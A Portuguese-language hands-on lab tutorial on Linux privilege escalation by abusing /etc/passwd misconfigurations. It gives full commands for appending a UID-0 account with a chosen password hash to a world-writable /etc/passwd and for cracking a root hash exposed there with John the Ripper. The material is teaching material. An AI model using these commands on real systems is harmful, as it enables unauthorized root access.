Introdução
Os arquivos /etc/passwd e /etc/shadow são cruciais para a autenticação de usuários em sistemas Linux. Se os administradores de sistema configurarem incorretamente o conteúdo ou as permissões desses arquivos, isso pode levar a vulnerabilidades de escalonamento de privilégios. Neste laboratório, exploraremos métodos para escalonamento de privilégios explorando o arquivo /etc/passwd.
Entendendo o Arquivo /etc/passwd
Nesta etapa, exploraremos a estrutura e o significado do arquivo /etc/passwd.
Em sistemas Linux, as informações de senha do usuário são armazenadas em dois arquivos: /etc/passwd e /etc/shadow. O arquivo /etc/passwd contém informações do usuário, com cada linha representando uma única conta de usuário. Cada linha é dividida em sete campos separados por dois pontos:
- Nome de usuário (Username)
- Senha (se definida como
x, a senha é armazenada em/etc/shadow) - ID do usuário (UID, 0 para o usuário root)
- ID do grupo (GID)
- Informações do usuário (Nome completo, Número da sala, Telefone do trabalho, Telefone residencial e Outros)
- Diretório home
- Shell padrão
Agora, abra um terminal e navegue até o diretório /home/labex/project para prosseguir para a próxima etapa.
cd /home/labex/project
Obtenha as informações do usuário labex do arquivo /etc/passwd e salve-as em um arquivo chamado labex_passwd.txt no diretório /home/labex/project.
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
Verifique o conteúdo do arquivo labex_passwd.txt.
cat labex_passwd.txt
Saída esperada:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
Aqui está o que cada campo representa:
- Nome de usuário: labex
- Senha: armazenada em
/etc/shadow(indicado porx) - UID: 5000
- GID: 5000
- Informações do usuário: Neste caso, está vazio
- Diretório home:
/home/labex - Shell padrão:
/usr/bin/zsh
Durante o processo de autenticação Linux, as seguintes etapas ocorrem:
- O nome de usuário inserido é verificado em relação ao primeiro campo em cada linha do arquivo
/etc/passwd. - Se uma correspondência for encontrada, a senha no segundo campo é comparada.
- Após a autenticação bem-sucedida, as permissões do usuário são determinadas pelo UID (terceiro campo) e GID (quarto campo).
- Importante, um UID de
0representa o usuário root, concedendo privilégios administrativos completos, independentemente do nome de usuário.
Como você pode ver, o arquivo /etc/passwd desempenha um papel crucial no processo de autenticação Linux. Se um invasor puder modificar este arquivo, ele poderá obter acesso não autorizado e escalar seus privilégios.
Escalonamento de Privilégios via /etc/passwd (Acesso de Escrita)
Nesta etapa, aprenderemos como escalar privilégios explorando o acesso de escrita ao arquivo /etc/passwd.
Primeiro, vamos configurar o ambiente do laboratório. Abra um terminal e navegue até o diretório
/home/labex/project:cd /home/labex/projectexecute o seguinte comando para configurar o ambiente do laboratório:
./env_setup1.shEste comando executará um script que configura o ambiente do laboratório. Você deve ver uma saída indicando que o ambiente está pronto.
Após a configuração, você estará logado como o usuário
user001, simulando um acesso inicial ao shell obtido durante um teste de penetração.Navegue até o diretório home do usuário
user001:cd ~Use o comando
whoamipara verificar seu usuário atual:whoamiSaída esperada:
user001Use o comando
idpara visualizar seus IDs de usuário e grupo:idSaída esperada:
uid=1001(user001) gid=1001(user001) groups=1001(user001)Como você pode ver, você é um usuário normal sem nenhum privilégio especial.
Em seguida, verifique as permissões dos arquivos
/etc/passwde/etc/shadow:ls -l /etc/passwd /etc/shadowSaída esperada:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd -rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadowObserve que o arquivo
/etc/passwdtem permissões deexecuçãoeescritaparatodos os usuários(--wx--xrwx), o que é umaconfiguração incorretapelo administrador do sistema.
Nosso objetivo é criar uma nova entrada de usuário no arquivo /etc/passwd com um nome de usuário, senha e um UID de 0 (root) personalizados. Isso nos permitirá fazer login como o usuário root.
Primeiro, vamos examinar o formato da entrada do usuário root no arquivo
/etc/passwdextraindo-a para um novo arquivo chamadonew_user_entry.txt:cat /etc/passwd | grep root > new_user_entry.txtSaída esperada quando você usa o comando
catpara visualizar o conteúdo do arquivonew_user_entry.txt:root:x:0:0:root:/root:/bin/bashPara criar nossa própria entrada, altere o nome de usuário de
rootpara qualquer nome desejado, comonew-userno arquivonew_user_entry.txt:new-user:x:0:0:root:/root:/bin/bashSubstitua o
xno segundo campo pelo hash da senha criptografada. Podemos usar a ferramentaopensslpara gerar o hash para uma senha (por exemplo,pass123):openssl passwd -1 -salt ignite pass123Saída esperada:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1Substituindo o hash no segundo campo no arquivo
new_user_entry.txt:new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bashAgora, anexe esta linha ao arquivo
/etc/passwd:echo "$(cat new_user_entry.txt)" >> /etc/passwdObservação: Podemos anexar a nova entrada ao arquivo
/etc/passwdporque ele tem permissões de escrita paratodos os usuários. Em um cenário do mundo real, este arquivo não deve ter permissões de escrita para usuários regulares.Verifique a nova entrada pesquisando por
new-userno arquivo/etc/passwd:cat /etc/passwd | grep new-userSaída esperada:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bashFinalmente, mude para o usuário
new-usercom a senhapass123:su new-userDigite a senha
pass123quando solicitado. Agora você deve ter privilégios de root, conforme indicado pela mudança no prompt:user001@660ecfa4d7612c798ef141ab:~$ su new-user Password: root@660ecfa4d7612c798ef141ab:/home/user001#
Escalonamento de Privilégios via /etc/passwd (Hash de Senha)
Nesta etapa, aprenderemos como escalar privilégios quando o hash da senha do usuário root é armazenado no arquivo /etc/passwd em vez do arquivo /etc/shadow.
Primeiro, vamos configurar o ambiente do laboratório. Abra um terminal e navegue até o diretório
/home/labex/project:Se você ainda estiver como
new-user, pode usar o comandoexitpara sair do shell atual até chegar ao shelllabex, e então navegar até o diretório/home/labex/project:cd /home/labex/projectExecute o seguinte comando para configurar o ambiente do laboratório:
./env_setup2.shEste comando executará um script que configura o ambiente do laboratório. Você deve ver uma saída indicando que o ambiente está pronto.
Após a configuração, você estará logado como o usuário
user001, simulando um acesso inicial ao shell obtido durante um teste de penetração.Navegue até o diretório home do usuário
user001:cd ~Verifique as permissões dos arquivos
/etc/passwde/etc/shadow:ls -l /etc/passwd /etc/shadow-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd -rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadowDesta vez, as permissões do arquivo estão configuradas
corretamente, e você só tem acesso de leitura ao arquivo/etc/passwd.Visualize o conteúdo do arquivo
/etc/passwdpara encontrar o hash da senha do usuário root:cat /etc/passwd | grep ^root > ~/hash.txtVerifique o conteúdo do arquivo
hash.txtexecutando o seguinte comando:cat ~/hash.txtSaída esperada:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bashObserve que o hash da senha do usuário root é armazenado no segundo campo do arquivo
/etc/passwd. Este é geralmente o resultado de uma comprometimento anterior do sistema ouconfiguração incorretapelo administrador do sistema.Agora, execute
johnpara quebrar o hash:john ~/hash.txt > ~/cracked.txtjohné uma ferramenta popular de quebra de senhas que usa ataques de dicionário para quebrar hashes de senhas. A saída indicará se a senha foi quebrada com sucesso.Created directory: /home/user001/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedVerifique o conteúdo do arquivo
cracked.txtpara visualizar a senha quebrada:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) hello (root)Como você pode ver,
johnquebrou com sucesso a senha, que éhello.Use o comando
supara mudar para o usuário root, inserindo a senha quebrada quando solicitado:su rootDigite a senha
helloquando solicitado. Agora você deve ter privilégios de root, conforme indicado pela mudança no prompt de comando.user001@660ecfa4d7612c798ef141ab:~$ su root Password: root@660ecfa4d7612c798ef141ab:/home/user001#
Resumo
Neste laboratório, aprendemos sobre o processo de autenticação de usuário Linux, a importância do arquivo /etc/passwd e como explorá-lo para escalonamento de privilégios. Cobrimos dois cenários: (1) quando o arquivo /etc/passwd tem permissões de escrita, permitindo-nos criar uma nova entrada de usuário com privilégios de root, e (2) quando o hash da senha do usuário root é armazenado no arquivo /etc/passwd, permitindo-nos quebrar a senha usando a ferramenta john. Por meio da prática, obtivemos uma compreensão mais profunda de como aproveitar configurações incorretas no arquivo /etc/passwd para escalar privilégios em um sistema Linux.